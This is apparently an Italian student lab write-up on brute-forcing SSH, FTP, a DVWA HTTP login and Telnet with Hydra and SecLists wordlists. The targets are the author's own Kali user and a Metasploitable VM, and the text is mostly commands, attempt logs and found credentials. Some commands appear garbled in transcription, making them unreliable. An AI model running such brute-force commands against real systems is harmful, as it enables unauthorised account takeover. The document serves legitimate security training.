

Esercitazione S6-L5 - Test Hydra su diversi servizi e macchine

- **SSH su user kali**

Creazione nuovo user **test_user** su kali e avvio **SSH**

```
(kali㉿kali)-[~]
$ sudo adduser
[sudo] password for kali:
fatal: Only one or two names allowed.

(kali㉿kali)-[~]
$ sudo adduser test_user
info: Adding user `test_user' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `test_user' (1001) ...
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...
info: Creating home directory `/home/test_user' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for test_user
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `test_user' to supplemental / extra groups `users' ...
info: Adding user `test_user' to group `users' ...

(kali㉿kali)-[~]
$ sudo service ssh start
```

Apertura e studio file **config SSH**

```
kali@kali: /etc/ssh
File Actions Edit View Help
GNU nano 8.2 sshd_config
# This is the sshd server system-wide configuration file. See
# sshd_config(5) for more information.

# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games

# The strategy used for options in the default sshd_config shipped with
# OpenSSH is to specify options with their default value where
# possible, but leave them commented. Uncommented options override the
# default value.

Include /etc/ssh/sshd_config.d/*.conf

#Port 22
#AddressFamily any
#ListenAddress 0.0.0.0
#ListenAddress ::

#HostKey /etc/ssh/ssh_host_rsa_key
#HostKey /etc/ssh/ssh_host_ecdsa_key
#HostKey /etc/ssh/ssh_host_ed25519_key

# Ciphers and keying
#RekeyLimit default none

# Logging
#SyslogFacility AUTH
#LogLevel INFO

# Authentication:

#LoginGraceTime 2m
#PermitRootLogin prohibit-password
#StrictModes yes
#MaxAuthTries 6
#MaxSessions 10

#PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in future.
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

Read 122 lines
^G Help ^O Write Out ^F Where Is ^K Cut ^T Execute ^C Location ^M-U Undo
^X Exit ^R Read File ^N Replace ^U Paste ^D Justify ^_ Go To Line ^M-E Redo
```

Apertura sessione **SSH** su **test_user** (indirizzo 192.168.50.100)

```
test_user@kali: ~  
File Actions Edit View Help  
└─(kali@kali)-[~]  
└─$ ssh test_user@192.168.50.100  
The authenticity of host '192.168.50.100 (192.168.50.100)' can't be established.  
ED25519 key fingerprint is SHA256:HMVqsh5anIZ8liiyiHMxwISlYp0XBpMCOFWkM74ppzE.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? y  
Please type 'yes', 'no' or the fingerprint: yes  
Warning: Permanently added '192.168.50.100' (ED25519) to the list of known hosts.  
test_user@192.168.50.100's password:  
Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
└─(test_user@kali)-[~]  
└─$
```

Avvio **hydra** inserendo in input una lista di username (**-L**) presa da **seclists**, una lista password (**-P**, anch'essa da **seclists**), l'indirizzo IP target (192.160.50.100) e il servizio preso in esame (**SSH**).

Altri parametri sono: **-v** che permette di visualizzare l'operato di Hydra

-t4 parametro per l'aggressività di hydra (16 default)

```

kali@kali: ~
File Actions Edit View Help

kali@kali:~$
kali@kali:~$ cd /usr/share/wordlists/seclists/Usernames/kato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/kato-net-10-million-passwords-1000.txt -V 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:15:51
[DATA] max 4 tasks per 1 server, overall 4 tasks, 8295455000 login tries (1:829545500 [p:1000]), ~2073863750 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123456' - 1 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'password' - 2 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '12345678' - 3 of 8295455000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'qwerty' - 4 of 8295455000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123456789' - 5 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '12345' - 6 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '1234' - 7 of 8295455000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '11111' - 8 of 8295455000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '1234567' - 9 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'dragon' - 10 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123213' - 11 of 8295455000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'baseball' - 12 of 8295455000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'abc123' - 13 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'football' - 14 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'monkey' - 15 of 8295455000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'letmein' - 16 of 8295455000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '666969' - 17 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'shadow' - 18 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'buster' - 19 of 8295455000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '666666' - 20 of 8295455000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'qwertyuiop' - 21 of 8295455000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '12321' - 22 of 8295455000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'mustang' - 23 of 8295455000 [child 3] (0/0)

```

Viste le tempistiche, ho optato per un approccio differente. Ho inserito nome utente e password in **hydra** per accelerare la ricerca, limitandomi a verificarne il funzionamento

```
(kali@kali:~)$ hydra -l test_user -p testpass -V 192.168.50.100 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:19:17
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1/1:p1), -1 try per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTN] target 192.168.50.100 login: test_user - pass testpass - 1 of 1 [child 0] (0/0)
[22][ssh] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 10:19:17
```

Come possiamo notare, **hydra** ha individuato i dati richiesti servendosi della porta **22 (SSH)**.

● FTP su user kali

Installazione e avvio vsftpd

```
(kali@kali)-[~]
└─$ sudo apt-get install vsftpd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  vsftpd
0 upgraded, 1 newly installed, 0 to remove and 772 not upgraded.
Need to get 162 kB of archives.
After this operation, 352 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13.1 [142 kB]
Fetched 142 kB in 1s (229 kB/s)
Preconfiguring packages ...
Selecting previously unselected package vsftpd.
(Reading database ... 417293 files and directories currently installed.)
Preparing to unpack .../vsftpd_3.0.3-13.1_amd64.deb ...
Unpacking vsftpd (3.0.3-13.1) ...
Setting up vsftpd (3.0.3-13.1) ...
/usr/lib/tmpfiles.d/vsftpd.conf:1: Line references path below legacy directory /var/run/, updating /var/run/vsftpd/empty → /run/vsftpd/empty; please update the tmpfiles.d/ drop-in file accordingly.
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Processing triggers for nano-db (2:13.0-1) ...
Processing triggers for kali-menu (2024.3.1) ...

(kali@kali)-[~]
└─$ service vsftpd start
```

Avvio hydra su macchina kali (192.168.50.100) sfruttando il servizio ftp

```
(kali@kali)-[~]
└─$ hydra -l /usr/share/wordlists/seclists/Usernames/kato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/kato-net-10-million-passwords-10000.txt 192.168.50.100 -t4 -V ftp
Hydra v9.5 (C) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:38:46
[DATA] max 4 tasks per 1 server, overall 4 tasks, 82954550000 login tries (1:8295455/p:100000), ~20738637500 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123456' - 1 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'password' - 2 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '12345678' - 3 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'qwerty' - 4 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123456789' - 5 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '12345' - 6 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '1234' - 7 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '111111' - 8 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '1234567' - 9 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'dragon' - 10 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123123' - 11 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'baseball' - 12 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'abc123' - 13 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'football' - 14 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'monkey' - 15 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'letmein' - 16 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '696969' - 17 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'shadow' - 18 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'master' - 19 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '666666' - 20 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'qwertyuiop' - 21 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '123321' - 22 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'mustang' - 23 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '1234567890' - 24 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'michael' - 25 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass '654321' - 26 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'pussy' - 27 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login 'info' - pass 'superman' - 28 of 82954550000 [child 3] (0/0)
```

Verifica funzionamento inserendo nome utente e password già noti

```
(kali@kali)-[~]
└─$ hydra -l 'test_user' -p 'testpass' 192.168.50.100 ftp
Hydra v9.5 (C) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:40:44
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), -1 try per task
[DATA] attacking ftp://192.168.50.100:21/
[21][ftp] host: 192.168.50.100 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 10:40:55
```

● HTTP su macchina Metasploitable

Collegamento macchina Metasploitable (192.168.50.102) su rete interna e verifica collegamento tramite ping

```
(kali@kali)-[~]
└─$ ping 192.168.50.102
PING 192.168.50.102 (192.168.50.102) 56(84) bytes of data.
64 bytes from 192.168.50.102: icmp_seq=1 ttl=64 time=0.722 ms
64 bytes from 192.168.50.102: icmp_seq=2 ttl=64 time=0.501 ms
64 bytes from 192.168.50.102: icmp_seq=3 ttl=64 time=0.362 ms
64 bytes from 192.168.50.102: icmp_seq=4 ttl=64 time=0.447 ms
64 bytes from 192.168.50.102: icmp_seq=5 ttl=64 time=0.461 ms
^C
— 192.168.50.102 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4080ms
rtt min/avg/max/mdev = 0.362/0.498/0.722/0.120 ms
```

Test **hydra** su macchina Metasploitable sfruttando il verbo **POST** su servizio **HTTP**.
Il test è stato effettuato sulla pagina di login della **DVWA**.

```
hydra@kali:~$-[-]
hydra1 -u 'admin' -P 'password' http-post://192.168.50.102/dvwa/login.php -v 1
hydra v8.5 (C) 2023 by van Hauser/THC & David Maciejak - please do not use in military or secret service organizations (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-10 18:51:45
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p/1), -1 try per task
[DATA] attacking http-post://192.168.50.102/dvwa/login.php
[ATTEMPT] target 192.168.50.102 - login 'admin' - pass 'password' - 1 of 1 [child 0] (s/0)
[80][http-post] host: 192.168.50.102 login: admin password: password
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 10:51:46
```

- **TELNET su Metasploitable**

Avvio connessione TELNET da kali (192.168.50.100) su Metasploitable (192.169.50.102)

```
(kali㉿kali)-[~]
$ telnet 192.168.50.102 23
Trying 192.168.50.102 ...
Connected to 192.168.50.102.
Escape character is '^]'.

S2L3
metasploitable

S2L4
Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

S3L3
metasploitable login: █
```

Avvio **hydra** per ricerca di nome utente e password della Metasploitable sfruttando il servizio TELNET (23)

```
[kali@kali]~$ hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-10000.txt telnet://192.168.50.102 -v
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 10:58:22
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 16 tasks per 1 server, overall 16 tasks, 82954550000 login tries (1:8295455/p:10000), ~5184659375 tries per task
[DATA] attacking telnet://192.168.50.102/23/
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123456" - 1 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "password" - 2 of 82954550000 [child 1] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "12345678" - 3 of 82954550000 [child 2] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "qwerty" - 4 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123456789" - 5 of 82954550000 [child 4] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "12345" - 6 of 82954550000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "1234" - 7 of 82954550000 [child 6] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "111111" - 8 of 82954550000 [child 7] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "1234567" - 9 of 82954550000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "dragon" - 10 of 82954550000 [child 9] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123123" - 11 of 82954550000 [child 10] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "baseball" - 12 of 82954550000 [child 11] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "abc123" - 13 of 82954550000 [child 12] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "football" - 14 of 82954550000 [child 13] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "monkey" - 15 of 82954550000 [child 14] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "letmein" - 16 of 82954550000 [child 15] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "696969" - 17 of 82954550000 [child 8] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "shadow" - 18 of 82954550000 [child 0] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "master" - 19 of 82954550000 [child 3] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "666666" - 20 of 82954550000 [child 5] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "qwertyuiop" - 21 of 82954550000 [child 10] (0/0)
[ATTEMPT] target 192.168.50.102 - login "info" - pass "123321" - 22 of 82954550000 [child 9] (0/0)
```

Verifica efficacia hydra tramite inserimento di nome utente e password noti

```
(kali㉿kali)~[~]
$ hydra -l "msfadmin" -p "msfadmin" telnet://192.168.50.102 -V -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organiz
ations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 11:01:38
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if available
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking telnet://192.168.50.102:23/
[ATTEMPT] target 192.168.50.102 - login "msfadmin" - pass "msfadmin" - 1 of 1 [child 0] (0/0)
[23][telnet] host: 192.168.50.102 login: msfadmin password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 11:01:39
```